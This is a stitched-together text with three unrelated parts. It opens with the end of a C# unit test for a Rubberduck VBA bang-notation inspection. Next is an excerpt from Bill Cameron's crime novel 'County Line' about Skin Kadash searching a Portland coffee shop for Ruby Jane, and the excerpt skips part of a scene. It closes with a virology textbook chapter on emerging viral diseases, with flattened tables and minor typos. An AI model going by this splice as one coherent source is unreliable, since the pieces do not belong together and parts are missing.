End Function
";
var class2Code = @"
Public Function Baz(bar As String) As Class2
Attribute Baz.VB_UserMemId = 0
End Function
";
var moduleCode = @"
Private Function Foo() As Class2
Dim cls As New Class1
Set Foo = cls!newClassObject
End Function
";
var inspectionResults = InspectionResultsForModules(
("Class1", class1Code, ComponentType.ClassModule),
("Class2", class2Code, ComponentType.ClassModule),
("Module1", moduleCode, ComponentType.StandardModule));
Assert.AreEqual(0, inspectionResults.Count());
}
protected override IInspection InspectionUnderTest(RubberduckParserState state)
{
return new UseOfBangNotationInspection(state);
}
}
} |
Disclosure Policy
August 18, 2011
Excerpt: County Line by Bill Cameron
No One Home
By Bill Cameron,
Author of County Line
To
my credit, the first thing I don't do is go stand in the street outside
her bedroom window, iPod in my pocket and portable speakers raised
above my head. Not that she has a bedroom window -- nothing so prosaic
for Ruby Jane Whittaker. The point is I show uncharacteristic restraint
and so -- lucky me -- miss out on the chance to watch a man die.
I've
been away a month. Ruby Jane called it a retreat, a chance to get my
head screwed on at last after a long winter brooding and recovering from
a bloody confrontation which left three dead and me with a near-fatal
gunshot wound. She's the one who found The Last Homely House, an
out-of-the-way bed-and-breakfast at the coast esteemed for a
breathtaking ocean view and the curative powers of its hot springs. When
I asked if she'd chosen the spot because it sat in a cellular dead zone
in a dale on a precipitous headland, she laughed and told me I'd have
to hike into town if I wanted to call her. Doctor's orders were for lots
of walking, but despite repeated marches down the mountain, I managed
to reach her only a couple of times during my sojourn, the last a couple
of weeks earlier. She hasn't picked up since.
Too long for me,
maybe not long enough for Ruby Jane. She dropped me off, and had planned
to pick me up again. But as radio silence lengthened, I arranged for an
overpriced rental car instead.
I dial her cell before getting on
the highway. She doesn't pick up. During the drive to Portland --
ninety-three-point-nine miles according to Google Maps -- I keep my hand
on my phone as though I can pull a signal from the air through the
power of touch. By the time I'm negotiating the vehicular chop on Route
26 through Hillsboro and Beaverton, I've succumbed to the urge to redial
at least twice as often as I've resisted. Doesn't matter anyway. Every
attempt goes straight to voicemail.
Self-delusion was easier in the days before Caller ID and 24-hour digital accessibility.
I
pull up in front of Uncommon Cup at Twelfth and Ash shortly before
seven. Her apartment is a few blocks away, but I'm more likely to find
her at one of her shops. Through the window I can see a guy mopping.
He's mid-twenties, with dark flyaway hair and a five-day beard. As I
watch, he spins and kicks one leg to the side. Fred Astaire with a mop
handle. I don't recognize him -- no surprise. Ruby Jane employs a couple
dozen people now. A lone customer sits at a table next to the window, a
fellow thick with layers. Thermal shirt under flannel under a
half-zipped hoodie under a denim jacket. He holds a ceramic cup under
his nose. There's no sign of Ruby Jane.
As I get out of the car,
the guy in all the layers looks up, then checks his watch. He unwinds
from his chair and is coming out as I reach the door. Tall and lean,
baby-faced, with blue eyes peeking out from inside his hood. "Quitting
time, man."
"I won't be settling in."
He slides past me
out the door. Inside, I breathe warm air laced with the scents of coffee
and bleach. The space is cast in dark wood, and sandblasted brick with
mix-n-match tables and chairs from a half-dozen different diners. Barbra
Streisand caterwauls from hidden speakers. The guy with the mop pauses
mid-pirouette when he sees me.
"Sorry, man. We're closed."
"I'm looking for Ruby Jane."
He props himself up on the upright mop handle. His eyes gaze two different directions, neither at me. "Who?"
"Ruby Jane Whittaker? The owner?"
He
sniffs. "Oh. Sure, Whittaker. I didn't make the connection." He looks
around the shop as if he expects to catch her hiding under a table.
"She's not here."
"So I see. Is she at one of the other shops?"
"How would I even know that, man?"
I don't like his tone, or maybe I don't like feeling so out of touch. "Who's the manager today?"
He turns his back. "Marcy's the only manager I know."
"Do you know where she is?"
"She took off at five. Something about seeing a band."
I take a breath and finger my cell phone. Ruby Jane's newest location, I haven't been to this shop more than a couple of times.
"Pal?" I look up. "I've got to finish up here, man."
Streisand
gives way to Sinatra and I wonder what possessed this jackhole to tune
in the Starbucks channel on the satellite radio. "Do you have Marcy's
number?"
"Her phone number?"
"No, her social security number."
"I don't know you. I don't think she'd appreciate me giving out her number to a stranger."
"I'm Skin Kadash."
"Am I supposed to know who that is?"
My
cheek twitches. "Who I am is a guy who has enough sway with the woman
who signs your checks that you don't want to keep fucking with me." My
fingertips run across a patch of red skin on my throat the color and
texture of raw hamburger.
His eyes come into sudden alignment and he ducks his head. "It's just, well, I'm new here and I don't know you."
Now
I'm the jackhole. I lower my chin and turn my hands over, conciliatory.
"How about you call Marcy? Tell her Skin needs to talk to her. I'll be
quick."
He considers that for a moment, eyes fixed on my hands.
"Okay. Hang on a second." He props the mop handle against a table and
goes back behind the counter. I wonder if I can convince him to sell me a
bagel, closing time or not. I haven't eaten since morning. He checks a
notebook from under the counter, dials a number.
I take a moment to respond. "Cell service was spotty where I was staying."
"She must not have been able to get through."
She could have left a voicemail, if nothing else. "You've no idea what's going on?"
"She said there was nothing to worry about, if that's what you're thinking."
"What do you think?"
"This
is RJ we're talking about. I'm sure she's fine." I can almost hear her
shrug through the phone. "Listen, I'm supposed to meet some people, but
tell you what. I'll be working at Hollywood tomorrow. Why don't you come
by? We'll catch up."
"Okay. Thanks, Marcy."
"Good to have you back, Skin."
Then she's gone. Alvin takes the phone, places it back on the charger behind the counter. "Find out what you need?"
"Uh,
yeah." Ruby Jane, gone and out of touch, without explanation. Doesn't
make sense. In all the time I've known her, she's taken only one
vacation -- a trip to Victoria with her one-time beau Peter and me. She
fretted about the shop the whole time we were gone.
"You need anything else, man? Call you a cab maybe?"
Alvin's
color is coming back, his expression growing impatient. I don't know if
he senses my dismay or has recovered from the sight of my neck, but
sudden heat rises in my chest. "Marcy told me to tell you to crack the
register and sell me a bagel."
His lips form a line and a crease appears between his eyebrows. "Yeah. Sure. Fine."
"Sesame seed, with cream cheese. Toasted."
But when I reach for my wallet, my pocket is empty. Back straight, Alvin slices the bagel and drops it in the toaster.
"Hang
on a second, I need my wallet." As I head for my car, I think about the
guy in layers who brushed past me as I came in. I look up and down
Twelfth. There's no sign of him. My wallet is in the gutter beside the
rental car.
Alvin thinks for a moment, glances at my neck as he wraps the bagel. "I hope he left you your debit card."
The above is an excerpt from the book County Line by
Bill Cameron. The above excerpt is a digitally scanned reproduction of
text from print. Although this excerpt has been proofread, occasional
errors may appear due to the scanning process. Please refer to the
finished book for accuracy.
Bill Cameron, is the author of dark, Portland-based mysteries featuring Skin Kadash: Lost Dog, Chasing Smoke, Day One, and County Line. His stories have appeared in Killer Year, Portland Noir, West Coast Crime Wave, and the 2010 ITW anthology First Thrills.
His books have been finalists for multiple awards, including three
times for the Spotted Owl Award for Best Northwest Mystery. Cameron
lives in Portland, Oregon, where he is at work on his next novel. |
One of the most dramatic aspects of virology is the emergence of new virus diseases, which often receives widespread attention from the scientific community and the lay public. Considering that the discipline of animal virology was established over 100 years ago, it may seem surprising that new virus diseases are still being discovered. How this happens is the subject of this chapter.
1. How Do New Viral Diseases Emerge? {#s0010}
====================================
There are many recent books and reviews (see [Further Reading](#fread0010){ref-type="sec"}) that list the plethora of determinants that can lead to the emergence of infectious diseases ([Table 1](#t0010){ref-type="table"} ). In this chapter, we concentrate on those determinants that relate to viral pathogenesis and deal only briefly with the many societal and environmental factors that can be instrumental in disease emergence.Table 1Some of the Factors that Lead to Emergence or Reemergence of Viral DiseasesFactors Leading to EmergenceDeterminantEconomic and social developmentPopulation growth, density, distributionEnvironmental changes such as deforestation, dam building, global warmingIncreased global travelIncreased international commerceAgribusiness, food processing, distributionPovertyInadequate public health systemsOpen defecationLack of safe waterSocietal breakdownCivil chaosWarHuman factorsSexual activitySubstance abuseBiological factorsNatural mutationAntimicrobial resistanceImmunosuppression
1.1. Discovery of the Etiology of an Existing Disease {#s0015}
-----------------------------------------------------
In some instances, the "emergence" of a viral disease represents the first identification of the cause of a well-recognized disease. An example is La Crosse virus, a mosquito-transmitted bunyavirus that was first isolated from a fatal case of encephalitis in 1964. The isolation of the causal agent and the development of serological tests made it possible to distinguish La Crosse encephalitis from the rubric of "arbovirus encephalitis, etiology unknown." Since that time, about 100 cases have been reported annually, without any significant increase since the 1970s. It appears that the emergence of this "new" disease reflected only the newfound ability to identify this etiologic entity, rather than any true change in its occurrence.
Hantavirus pulmonary syndrome is another example of the "emergence" of an existing but previously unrecognized disease. In 1993, in the four corners area of the southwestern United States, there occurred a small outbreak of cases of acute pulmonary illness with a high mortality. Epidemiologic and laboratory investigation rapidly identified the causal agent, a previously unknown hantavirus, now named Sin Nombre virus (SNV). SNV is an indigenous virus of deer mice (*Peromyscus maniculatus*) that are persistently infected and excrete the virus. Apparently deer mice produce virus-infected excreta and, when they infest human dwellings, aerosolized fomites can result in occasional human infections. The 1993 outbreak is thought to reflect a transient rise in deer mouse populations associated with an unusual crop of pine nuts, a major food source for these rodents. The recognition of SNV soon led to the discovery of other heretofore unrecognized hantaviruses in North, Central and South America, many of which also cause serious human disease.
1.2. Increase in Disease Caused by an Existing Virus {#s0020}
----------------------------------------------------
On occasion, a virus that is already widespread in a population can emerge as a cause of epidemic or endemic disease, due to an increase in the ratio of cases to infections. Such an increase can be caused by either an increase in host susceptibility or enhancement of the virulence of the virus. Although counterintuitive, there are some dramatic instances of such phenomena.
**Increase in host susceptibility.** Poliomyelitis first appeared as a cause of summer outbreaks of acute infantile paralysis in Sweden and the United States late in the nineteenth century ([Figure 1](#f0010){ref-type="fig"} ). Isolated cases of infantile paralysis had been recorded in prior centuries, and an Eygptian tomb painting indicates that poliomyelitis probably occurred in early recorded history. Why then did poliomyelitis emerge abruptly as an epidemic disease? When personal hygiene and public health were primitive, poliovirus circulated as a readily transmitted enterovirus, and most infants were infected while they still carried maternal antibodies (up to 9--12 months of age). Under these circumstances, the virus produced immunizing infections of the enteric tract, but passively acquired circulating antibodies prevented invasion of the spinal cord. With the improvement of personal hygiene in the late-nineteenth century, infections were delayed until 1--3 years of age, after the waning of maternal antibodies. Infections now occurred in susceptible children, resulting in outbreaks of infantile paralysis. This reconstruction is supported by seroepidemiological studies conducted in North Africa in the 1950s, when epidemic poliomyelitis first emerged in this region.Figure 1The appearance of epidemic poliomyelitis in the United States, 1885--1916. The graph is based on reported cases (mainly paralytic) during an era when reporting was estimated at about 50%.Data from Lavinder CH, Freeman SW, Frost WH. Epidemiologic studies of poliomyelitis in New York City and the northeastern United States during the year 1916. Washington: United States Public Health Service (1918).
**Increase in viral virulence.** Viruses may undergo sudden increases in virulence resulting in emergence of dramatic outbreaks. An outbreak of lethal avian influenza in Pennsylvania in 1983 is one documented example. In eastern Pennsylvania, avian influenza appeared in chicken farms early in 1983, but the virus was relatively innocuous and most infections were mild. However, in the fall of that year a fatal influenza pandemic spread rapidly through the same farms. When viruses from the spring and fall were compared, it appeared that both isolates had almost identical genomes. The fall virus had acquired a single point mutation in the viral hemagglutinin that facilitated the cleavage of the hemagglutinin. The virus could now replicate outside the respiratory tract, markedly increasing its virulence (discussed in Chapter 7, Patterns of infection). This point mutation led to the emergence of an overwhelming epizootic, which was only controlled by a widespread slaughter program involving millions of birds. Similar outbreaks of avian influenza have occurred subsequently in other countries.
1.3. Accumulation of Susceptible Hosts and Viral Reemergence {#s0025}
------------------------------------------------------------
A virus that is endemic in a population may "fade out" and disappear, because the number of susceptibles has fallen below the critical level required for perpetuation in that population. If the population is somewhat isolated, the virus may remain absent for many years. During this interval, there will be an accumulation of birth cohorts of children who are susceptible. If the virus is then reintroduced, it can "reemerge" as an acute outbreak. In the years 1900--1950, Iceland had a population of about 200,000, which was too small to maintain measles virus, and measles periodically disappeared. When travelers to Iceland reintroduced the virus, measles reemerged in epidemic proportions.
1.4. Virus New to a Specific Population {#s0030}
---------------------------------------
On occasion, a virus can enter and spread in a region where it had never previously circulated, leading to the emergence of a disease new to that locale. A dramatic example is afforded by the emergence of West Nile virus (WNV) in the United States, beginning in 1999 ([Figure 2](#f0015){ref-type="fig"} ). WNV, like most arboviruses, is usually confined to a finite geographic area, based on the range of its vertebrate reservoir hosts and permissive vectors. In an unusual event, WNV was imported into New York City, probably by the introduction of infected vector mosquitoes that were inadvertent passengers on a flight from the Middle East, where the virus is enzootic. This hypothesis was supported by the finding that the genomic sequence of the New York isolates was closely related to the sequence of contemporary isolates from Israel. Some American mosquito species were competent vectors for WNV, and certain avian species such as American crows were highly susceptible. As a result, West Nile encephalitis emerged as a significant disease new to the United States. Over a period of several years WNV spread across the continent, finally reaching the west coast and many areas in Latin America.Figure 2The emergence of West Nile virus in the United States, 1999--2005. West Nile virus neuroinvasive disease incidence reported to CDC ArboNET, by state, United States, 1999, 2001, 2002, and 2005.Accessed via <http://www.cdc.gov/westnile/statsMaps/finalMapsData/index.html>, December 20, 2014.
Chikungunya virus (CHIKV), another mosquito-borne arbovirus, has been endemic for many years in regions of Africa and Asia where it periodically caused outbreaks of a febrile illness associated with severe arthritis and arthralgia. In 2005--2006, CHIKV caused a large epidemic on the island of Reunion in the Indian Ocean, apparently associated with a mutation that allowed the virus to be more efficiently transmitted by vector mosquitoes. Chikungunya subsequently spread to India and elsewhere in Asia, followed by the Americas. As of November 2014, transmission of CHIKV had been documented in 40 countries or territories in the Caribbean, Central, South and North America, resulting in nearly one million suspected cases each year. It appears that CHIKV may become established in the New World, where virtually the entire human population currently lacks immunity.
2. Zoonotic Infections as a Source of Emerging Viral Diseases {#s0035}
=============================================================
Zoonotic infections of animals that can be transmitted to humans are a major cause of emerging virus diseases of humans. These viruses are transmitted by direct contact, by virus-laden droplets or aerosols, or by insect vectors. All zoonotic viruses have one or more animal reservoir hosts, which play an important role in the epidemiological dynamics of human infections. Although many zoonotic viruses can be transmitted to humans on occasion, their relative ability to spread from human to human determines whether or not they emerge as significant new virus diseases of mankind ([Table 2](#t0015){ref-type="table"} ).Table 2Zoonotic Virus Infections of Humans and the Extent of Their Human-to-Human TransmissionExtent of Human-to-Human SpreadVirusMaintenance Cycle in NatureNot contagious from human-to-human (humans are dead-end hosts; representative examples); the most frequent patternWest Nile (flavivirus)Mosquitoes, birdsYellow fever (flavivirus)Mosquitoes, primatesLa Crosse encephalitis (bunyavirus)Mosquitoes, wild rodentsRabies (rhabdovirus)Raccoons, skunks, bats, dogsLimited (\<10) human-to-human transmissions; an uncommon patternCrimean Congo hemorrhagic fever (bunyavirus)\
1--3 serial infectionsTicks, agricultural and wild animalsLassa, Machupo, Junin (arenavirus)\
1--8 serial infectionsRodentsMonkeypox (poxvirus)\
\<6 serial infectionsRodentsEbola, Marburg (filovirus)\
1--4 serial infections[∗](#tbl2fn1){ref-type="table-fn"}Bats?MERS (coronavirus)Bats? camels?Nipah (paramyxovirus)Bats, pigsUnlimited human-to-human transmission (a new human virus); a rare patternHIV (lentivirus)Monkeys, apesSARS (coronavirus)Bats, other animals?Influenza (type A influenza virus)Wild birds, domestic poultry, domestic pigsEbola, Marburg (filovirus)\
\>10 serial infectionsBats?[^1]
2.1. Dead-end Hosts {#s0040}
-------------------
Most zoonotic viruses that are transmitted to humans cannot be spread directly from person to person, so humans are considered to be "dead-end hosts." One familiar example is rabies, which is enzootic in several animal hosts, such as dogs, skunks, foxes, raccoons, and bats. Humans are infected by bite of a rabid animal or by aerosol exposure (in caves with roosting bats). Several zoonotic arenaviruses, such as Lassa, Machupo (Bolivian hemorrhagic fever), and Junin (Argentine hemorrhagic fever) viruses, are likely transmitted from the reservoir host (wild rodents) by inhalation of contaminated aerosols.
There are more than 500 viruses---belonging to several virus families---that are also classified as arboviruses (arthropod-borne viruses), based on a vertebrate--arthropod maintenance cycle in nature. Arboviruses replicate in both the vertebrate host and the arthropod vector (mosquitoes, ticks, sandflies, and others), and transmission occurs when the vector takes a blood meal. Typically, arboviruses have only a few vertebrate hosts and are transmitted by a narrow range of arthropods. Humans are not the reservoir vertebrate hosts of most arboviruses, but can be infected by many of these viruses, if they happen to be bitten by an infected vector. In most instances, arbovirus-infected humans are dead-end hosts for several reasons. Many arthropod vectors competent to transmit a zoonotic arbovirus prefer nonhuman hosts as a blood source, reducing the likelihood of transmission from human to vector. Also, infected humans are usually not sufficiently permissive to experience a high titer viremia, so they cannot serve as effective links in the transmission cycle. There are only a few exceptions: in urban settings, dengue, urban yellow fever, Oropouche, and Chikungunya viruses can be maintained by an arthropod vector--human cycle.
2.2. Limited Spread among Humans {#s0045}
--------------------------------
As [Table 2](#t0015){ref-type="table"} shows, a few zoonotic viruses can be transmitted directly from human to human, at least for a few passages, and can emerge as the cause of outbreaks involving a few to several hundred cases. Since many viruses in this group cause a high mortality in humans, even a small outbreak constitutes a public health emergency. These viruses belong to many different virus families, and there is no obvious biological clue why they should be able to spread from human to human, in contrast to other closely related viruses. Typically, infections are mainly limited to caregivers or family members who have intimate contact with patients, often in a hospital setting. However, transmission is marginal, so that most outbreaks end after fewer than 5--10 serial transmissions, either spontaneously or due to infection-control practices.
2.3. Crossing the Species Barrier {#s0050}
---------------------------------
In the history of modern virology (the last 50 years) there are very few documented instances where zoonotic viruses have established themselves in the human population and emerged as new viral diseases of mankind ([Table 2](#t0015){ref-type="table"}). Most viruses have evolved to optimize their ability to be perpetuated within one or a few host species, and this creates what is sometimes called the "species barrier." In most instances, a virus must undergo some adaptive mutations to become established in a new species.
**SARS coronavirus.** In November, 2002, an outbreak of severe acute respiratory disease (SARS) began in Guangdong Province, in southeast China near the Hong Kong border. In retrospect, the first cases were concentrated in food handlers, who then spread the virus to the general population in that region. Although not recognized immediately as a new disease, the outbreak continued to spread both locally and in other parts of China. In February, 2003, a physician who had been treating likely SARS patients, traveled to Hong Kong, where he transmitted SARS to a large number of contacts in a hotel. These persons, in turn, spread the infection to Singapore, Taiwan, Vietnam, and Canada, initiating a global pandemic that eventually involved almost 30 countries. From patient samples, several research groups isolated a novel coronavirus, which has been named the SARS coronavirus (SARS CoV). Clearly, this virus is new to the human population, and there is circumstantial evidence that it was contracted from exotic food animals that are raised for sale in restaurants in Guangdong Province. Recent studies suggest that horseshoe bats (genus *Rhinolophus*) may be the reservoir hosts and palm civets, consumed as food in China, may be the intermediary hosts for SARS CoV.
SARS CoV went through a large number of human passages (perhaps 25) before being contained by primary control measures, such as respiratory precautions, isolation, and quarantine. The virus has been eliminated from the human population, but the 2003 outbreak showed that it could be maintained by human-to-human transmission. From that perspective, it is potentially capable of becoming an indigenous virus of humans. Since many coronaviruses infect the respiratory system and are transmitted by the respiratory route, the SARS virus did not have to undergo any change in its pathogenesis. However, the virus did have to replicate efficiently in cells of the human respiratory tract and it is unknown whether this required some adaptive mutations from the virus that is enzootic in its reservoir hosts.
**Middle Eastern respiratory syndrome.** MERS is an acute respiratory disease of humans that was first recognized in 2012, when a novel coronavirus (MERS-CoV) was isolated from two fatal human cases in Saudi Arabia and Qatar. Since that time, more than 1400 clinical cases of MERS have been recognized, the great majority in Saudi Arabia but also in most of the other countries in the Arabian Peninsula and beyond ([Figure 3](#f0020){ref-type="fig"} ). Hospitalized cases of MERS are characterized by an acute respiratory disease syndrome (ARDS) with a fatality rate over 25%. However, evolving evidence suggests that there may be many additional human infections with little or no associated illness.Figure 3Distribution of reported cases of MERS, December, 2014.Redrawn from Enserik, M. Mission to MERS. Science 2014, 346: 1218--1220.
What is the origin of this new disease? Based on fragmentary data now available, it appears that MERS-CoV is likely to be an enzootic virus of one or more species of bats. Camels are probably an intermediary host, and humans in close contact with camels can acquire infection. Also, MERS-CoV can spread from human to human, particularly to caretakers or others in close contact with acutely ill patients. However, there are many unknowns in this speculative reconstruction: How do camels become infected? Are camels the main source of human infections? What has caused this disease to emerge in 2012, or had it preexisted but was just recognized at that time? Is this an evolving outbreak, and if so, what is driving it?
Several relevant facts have been ascertained from basic studies. MERS-CoV replicates well in cell cultures obtained from many species, including bats and humans. The pantropic nature of this virus is explained in part by its cellular receptor, dipeptidyl peptidase 4 (DPPT4), a widely distributed cell surface molecule. This would facilitate the transmission of this zoonotic infection from bats to camels to humans. Of interest, MERS-CoV infects type II alveolar pneumocytes while SARS CoV uses a different cell receptor (angiotensin-converting enzyme 2, ACE2) and infects type I alveolar pneumocytes. However, both viruses appear to cause a similar ARDS.
**Type A influenza virus.** Genetic evidence strongly implicates avian and porcine type A influenza viruses as the source of some past pandemics of human influenza. It appears that new epidemic strains are often derived as reassortants between the hemagglutinin (and the neuraminidase in some cases) of avian influenza viruses with other genes of existing human influenza viruses. The new surface proteins provide a novel antigenic signature to which many humans are immunologically naïve. The human influenza virus genes contribute to the ability of the reassortant virus to replicate efficiently in human cells. It is thought that reassortment may take place in pigs that are dually infected with avian and human viruses.
Currently, there is concern that a new pandemic strain of Type A influenza could emerge as a derivative of highly virulent avian H5N1 or H7N9 influenza viruses now causing epidemics in domestic chickens in southeast Asia. There have been several hundred documented human infections with each of these avian viruses in recent years---mainly among poultry workers---with significant mortality. However, few if any of these infections have spread from human to human, perhaps because the infecting avian virus has not undergone reassortment with a human influenza virus. A critical determinant is that avian influenza viruses preferentially attach to α2-3 sialic acid receptors while human viruses attach to α2-6 sialic acid receptors.
The 1918 pandemic of influenza is presumed to be an example of a zoonotic influenza virus that crossed the species barrier and became established in humans where it caused an excess mortality estimated at 20--40 million persons. Recent viral molecular archaeology has recovered the sequences of the 1918 H1N1 influenza virus from the tissues of patients who died during the epidemic. All of the genes of the reconstructed virus are avian in origin, but it is unknown whether the virus underwent mutations that enhanced its ability to be transmitted within the human population. The reconstructed hemagglutinin of the 1918 virus has been inserted into recombinant influenza viruses, and---in mice---markedly increases the virulence of primary human isolates of influenza virus ([Table 3](#t0020){ref-type="table"} ), but the full virulence phenotype appears to require many of the avian influenza genes. Several physiological factors play a role in disease enhancement, including increased replication in pulmonary tissues and an enhanced ability to stimulate macrophages to secrete pro-inflammatory cytokines which, in turn, cause severe pneumonitis.Table 3Genetic Determinants of the Virulence of the 1918 Type A Influenza Virus (Spanish Strain) Based on Intranasal Infection of Mice with Reassortant Viruses. The M88 Isolate is a Human Type A Influenza Virus Which is Relatively Avirulent in Mice, Typical of Human Isolates. The Hemagglutinin (H) of the 1918 "Spanish" Virus Confers Virulence Upon the M88 Isolate and the Neuraminidase (N) Does Not Appear to Enhance the Effect of the Hemagglutinin. MLD 50: Mouse 50% Lethal Dose Determined by Intranasal Infection with Serial Virus DilutionsVirus StrainOrigin of Viral GenesLog 10 MLD 50Log 10 Virus Titer in Lung (Day 3 after Infection)HNOthersM88M88M88M88\>6.22.9M88/H^sp^Sp (1918)M88M884.45.1M88/H^sp^/N^sp^Sp (1918)Sp (1918)M885.24.7[^2]
**Human immunodeficiency virus.** HIV has emerged as the greatest pandemic in the recent history of medical science. Modern methods have made it possible to reconstruct its history in great detail (see Chapter 9, HIV/AIDS). A provisional reconstruction of the sequence of events is summarized in [Figure 4](#f0025){ref-type="fig"} . The emergence of HIV may be divided into two phases: What was the zoonotic source of HIV and when did it cross into humans? And when did HIV spread from the first human cases to become a global plague?Figure 4Speculative reconstruction of events following the transmission of SIVcpz to humans.This reconstruction is based on data in Sharp and Hahn (2011), Pepin (2011).
There have been several transmissions of simian immunodeficiency virus (SIV) to humans (Sharp and Hahn, 2011), and this account will focus on HIV-1 which appears to have been transmitted to humans in at least four separate instances, identified by individual HIV-1 lineages called groups (M, N, O, P). Of these, the most important was the M group of HIV-1, which has been responsible for the vast majority of human infections. Furthermore, HIV-1 is most closely related to SIVcpz, the SIV strain infecting two subpopulations of chimpanzees. Different segments of the SIVcpz genome, in turn, are closely related to genome segments of two SIVs of African monkeys, red-capped monkeys and *Cercopithecus* monkeys. It is hypothesized that chimpanzees, which regularly kill and eat monkeys, were infected during consumption of their prey; and that a recombination event produced SIVcpz, which was derived from parts of the genomes of the two acquired monkey viruses. It is speculated that a further transmission from chimpanzees may have occurred during the butchering of nonhuman primates, which occurs in rural Africa ([Figure 5](#f0030){ref-type="fig"} ).Figure 5Bushmeat is part of the diet in rural Africa.Photograph courtesy of Billy Karesh (2015).
Amazingly, genomic similarities tentatively map the substrain of SIVcpz that is the ancestor of the M group of HIV-1, to chimpanzees in the southeastern corner of Cameroon, a small country in West Africa. Using a sequence analysis to compare diversity within current isolates, the common parent of the M group can be reconstructed. A molecular clock, derived from dated isolates, indicates that this virus was transmitted to humans during the period 1910--1930.
The period from 1930 to 1980 is a mystery (Pepin, 2011), but there are fragmentary data suggesting that the virus persisted as a rare and unrecognized infection in residents of jungle villages in West Africa during this time. It has also been proposed that the reuse of unsterilized needles---a frequent practice during the period of colonial rule---could have inadvertently helped to spread the virus. Starting about 1980, the virus began to spread more rapidly. It appears that accelerated spread began in the region centered on Kinshasa (previously Leopoldville) in the Democratic Republic of the Congo (previously the Belgian Congo, then Zaire) and Brazzaville, just across the Congo River in Congo. Transmission was exacerbated by the chaos in postcolonial Zaire.
During the period 1985--2004, HIV infection spread widely in Africa as shown in [Figure 6](#f0035){ref-type="fig"} . In the countries worst affected, the prevalence of infection among adults aged 15--49 years reached levels higher than 30%. The rapid spread was driven by many factors among which were: (1) a high frequency of concurrent sexual contacts in some segments of the population and the hidden nature of sexual networks; (2) the long asymptomatic incubation period during which infected individuals able to transmit the virus were sexually active; (3) the spread along commercial routes of travel within Africa; (4) the failure of health systems to publicize the risks and the underutilization of condoms and other measures to reduce transmission; and (5) the slow introduction of antiviral treatment after it became available in the northern countries about 1996.Figure 6The spread of HIV in Africa, showing the prevalence of HIV in the adult population, 1988--2003. The map ends in 2003, but the prevalence has remained very similar during the period 2004--2015. (After UNAIDS 2004 report on global AIDS epidemic.)
Concomitantly with the spread of HIV in Africa, the M group of HIV-1 evolved into nine different subtypes (A--D, F--H, J, K), based on sequence diversity. During the spread within Africa, there were population bottlenecks that resulted in the predominance of different M group subtypes in different regions. Subtype C is most frequent in southern Africa, and subtypes A and D are most frequent in eastern Africa. During the 1980s, HIV also spread globally, although prevalence rates did not reach the levels seen in some African countries. Subtype B is dominant in the western hemisphere and Europe, while subtype C is most frequent in India and some other Asian countries. This implies that each of these regional epidemics was initiated by a small number of founder strains of HIV-1, improbable though that may seem.
Thirty years after its appearance as a global disease, almost 40 million persons have died, and there are more than 30 million people living with HIV/AIDS. Although the global incidence of HIV has fallen slightly since 2010, there are still more than two million new infections each year (2014).
**Ebola hemorrhagic fever.** The Ebola pandemic of 2014--15 is the most recent emerging virus disease that has riveted the attention of the world. Where did it come from? Why did it cause a pandemic? Why did the international health community fail to control it? Where will it end? These questions are discussed below.
Ebola is a filovirus indigenous to Africa that is maintained in one or more reservoir species of wild animals, among which bats are a likely host. The transmission cycle is not well documented but it is thought that humans get infected, either by direct contact with bats, or while slaughtering infected wild animals who may act as intermediate hosts. Human-to-human spread can then occur.
The pathogenesis of Ebola virus infection may be briefly summarized. Presumably Ebola enters the human host via the mucous membranes or cuts in the skin. The virus infects mononuclear cells including macrophages and dendritic cells and traffics to lymph nodes, whence it spreads to target organs including the liver, spleen, and adrenal glands. It causes a high titer viremia and a dysregulation of the innate immune system. Clinically, Ebola patients undergo severe vomiting and diarrhea with massive fluid losses and become very dehydrated, with a mortality that varies from 25% to 75%. In fatal cases, the infection of the liver leads to disseminated intravascular coagulopathy, a shock syndrome, and multiorgan failure, although the sequential details are not well understood. Infection is transmitted between humans by contact with bodily fluids of patients, but not by aerosols. Therefore, the virus is spread most frequently to caregivers or others who are in intimate contact with patients and their fomites. Rituals associated with funerals and burial practices often serve to transmit the virus.
Ebola virus was first isolated in 1976 in an outbreak near the Ebola River in the Democratic Republic of the Congo (then called Zaire) and almost concurrently in a second outbreak in southern Sudan. Viruses recovered from these two outbreaks were subsequently shown to be different and are now known as Ebola-Zaire and Ebola-Sudan. Since that time there have been more than 25 individual outbreaks of Ebola disease, mainly in central Africa. Past outbreaks have been controlled by use of protective garments by caregivers and quarantine of infected or potentially infected contacts. These controlled outbreaks have been limited to no more than ∼5 serial human-to-human transmissions, and mainly ranged from about 25 to 300 cases.
In December, 2013, an Ebola-Zaire outbreak began in Guinea, West Africa. It appears that the initial case was in an infant who may have been infected by contact with bats. The outbreak then spread to two contiguous countries, Liberia and Sierra Leone. By the fall, 2014, the epidemic had become a catastrophe, and was raging out of control in several parts of these three countries. Although the data are incomplete, it is estimated that there have been at least 20,000 cases (with at least 50% mortality) through February, 2015 ([Figure 7](#f0040){ref-type="fig"} ). The infection has spread to Nigeria, Senegal, Mali, the United States, and a few European countries, but these invasions have so far been controlled, with limited secondary cases. A global effort to control this pandemic was initiated, with participation from Doctors without Borders, the Red Cross, other nongovernment organizations, the World Health Organization, and the U.S. Centers for Disease Control and Prevention. As of March, 2015, it appeared that the epidemic was coming under control. Aggressive border screening, both on exit from the affected countries and on arrival at destinations, has limited spread by air travelers, but the porous land borders remain areas of concern.Figure 7The journalistic face of the 2013--2015 Ebola epidemic.Photograph courtesy of Tom Ksiazek, 2014.
From an epidemiological viewpoint, why did this outbreak of Ebola explode into a massive pandemic, in contrast to the many prior outbreaks that were limited to no more than a few hundred cases at most? The outbreak began in Guinea and was mainly confined to that country for about 6 months before it spread to neighboring Liberia and Sierra Leone ([Figure 8](#f0045){ref-type="fig"} ). During this first 6 months, incidence in Guinea varied from a few to about 50 cases a week, and cases were concentrated in rural areas. From a public health viewpoint, this represented a missed opportunity to contain the outbreak. Contributing to this omission were a combination of factors: a weak health system fragmented by social disruption, a failure of local health authorities to recognize or respond to the outbreak, the failure of international health organizations such as WHO to take aggressive action, and local societal norms that brought family and friends into close contact with Ebola victims, during their illness and at their funerals (Washington Post, October 5, 2014; Cohen, 2014). Once Ebola infections spread from rural villages to urban centers, the outbreak exploded.Figure 8Ebola pandemic, by country, through April, 2015. After WHO: Ebola situation report, 29 April, 2015.
